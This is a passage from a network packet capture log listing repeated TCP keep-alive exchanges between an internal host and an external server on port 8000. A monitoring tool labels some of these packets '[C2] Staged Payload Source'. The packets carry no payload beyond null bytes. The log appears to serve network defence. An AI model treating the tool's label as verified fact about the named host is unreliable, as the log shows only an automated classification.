519372833))]\"\"}}]\"\n2026-07-01 09:09:50.833977,593,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372832 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0bb400080063f430a98980bc0a3a789fa591f401ef50020502c0e0f50102014ee04000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45243, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16195, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372832, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:50.834011,594,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000034ec254000400643cec0a3a7890a98980b1f40fa59502c0e0f1ef500218010003f0af700000101050a1ef500201ef50021,\".$.6\n..$.)....E..4.%@.@.C.....\n....@.YP,.....!...?\n......\n... ...!\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60453, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17358, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372832, 519372833))]\"\"}}]\"\n2026-07-01 09:09:51.849633,595,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372832 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0bc400080063f420a98980bc0a3a789fa591f401ef50020502c0e0f50102014ee04000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45244, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16194, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372832, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:51.849659,596,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000034ec264000400643cdc0a3a7890a98980b1f40fa59502c0e0f1ef500218010003f0af700000101050a1ef500201ef50021,\".$.6\n..$.)....E..4.&@.@.C.....\n....@.YP,.....!...?\n......\n... ...!\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60454, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17357, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372832, 519372833))]\"\"}}]\"\n2026-07-01 09:09:52.865270,597,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372832 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0bd400080063f410a98980bc0a3a789fa591f401ef50020502c0e0f50102014ee04000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45245, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16193, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372832, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:52.865304,598,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000034ec274000400643ccc0a3a7890a98980b1f40fa59502c0e0f1ef500218010003f0af700000101050a1ef500201ef50021,\".$.6\n..$.)....E..4.'@.@.C.....\n....@.YP,.....!...?\n......\n... ...!\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60455, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17356, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372832, 519372833))]\"\"}}]\"\n2026-07-01 09:09:53.880873,599,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372832 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0be400080063f400a98980bc0a3a789fa591f401ef50020502c0e0f50102014ee04000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45246, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16192, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372832, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:53.880898,600,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000034ec284000400643cbc0a3a7890a98980b1f40fa59502c0e0f1ef500218010003f0af700000101050a1ef500201ef50021,\".$.6\n..$.)....E..4.(@.@.C.....\n....@.YP,.....!...?\n......\n... ...!\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60456, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17355, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372832, 519372833))]\"\"}}]\"\n2026-07-01 09:09:54.896572,601,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372832 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0bf400080063f3f0a98980bc0a3a789fa591f401ef50020502c0e0f50102014ee04000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45247, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16191, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372832, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:54.896596,602,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000034ec294000400643cac0a3a7890a98980b1f40fa59502c0e0f1ef500218010003f0af700000101050a1ef500201ef50021,\".$.6\n..$.)....E..4.)@.@.C.....\n....@.YP,.....!...?\n......\n... ...!\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60457, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17354, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372832, 519372833))]\"\"}}]\"\n2026-07-01 09:09:55.912228,603,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372832 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0c0400080063f3e0a98980bc0a3a789fa591f401ef50020502c0e0f50102014ee04000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45248, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16190, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372832, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:55.912256,604,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000034ec2a4000400643c9c0a3a7890a98980b1f40fa59502c0e0f1ef500218010003f0af700000101050a1ef500201ef50021,\".$.6\n..$.)....E..4.*@.@.C.....\n....@.YP,.....!...?\n......\n... ...!\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60458, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17353, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372832, 519372833))]\"\"}}]\"\n2026-07-01 09:09:56.927862,605,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372832 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0c1400080063f3d0a98980bc0a3a789fa591f401ef50020502c0e0f50102014ee04000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45249, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16189, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372832, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:56.927895,606,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000034ec2b4000400643c8c0a3a7890a98980b1f40fa59502c0e0f1ef500218010003f0af700000101050a1ef500201ef50021,\".$.6\n..$.)....E..4.+@.@.C.....\n....@.YP,.....!...?\n......\n... ...!\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60459, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17352, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372832, 519372833))]\"\"}}]\"\n2026-07-01 09:09:57.943529,607,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372832 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0c2400080063f3c0a98980bc0a3a789fa591f401ef50020502c0e0f50102014ee04000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45250, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16188, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372832, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:57.943566,608,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000034ec2c4000400643c7c0a3a7890a98980b1f40fa59502c0e0f1ef500218010003f0af700000101050a1ef500201ef50021,\".$.6\n..$.)....E..4.,@.@.C.....\n....@.YP,.....!...?\n......\n... ...!\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60460, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17351, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372832, 519372833))]\"\"}}]\"\n2026-07-01 09:09:58.946576,609,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372832 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0c3400080063f3b0a98980bc0a3a789fa591f401ef50020502c0e0f50102014ee04000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45251, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16187, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372832, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": 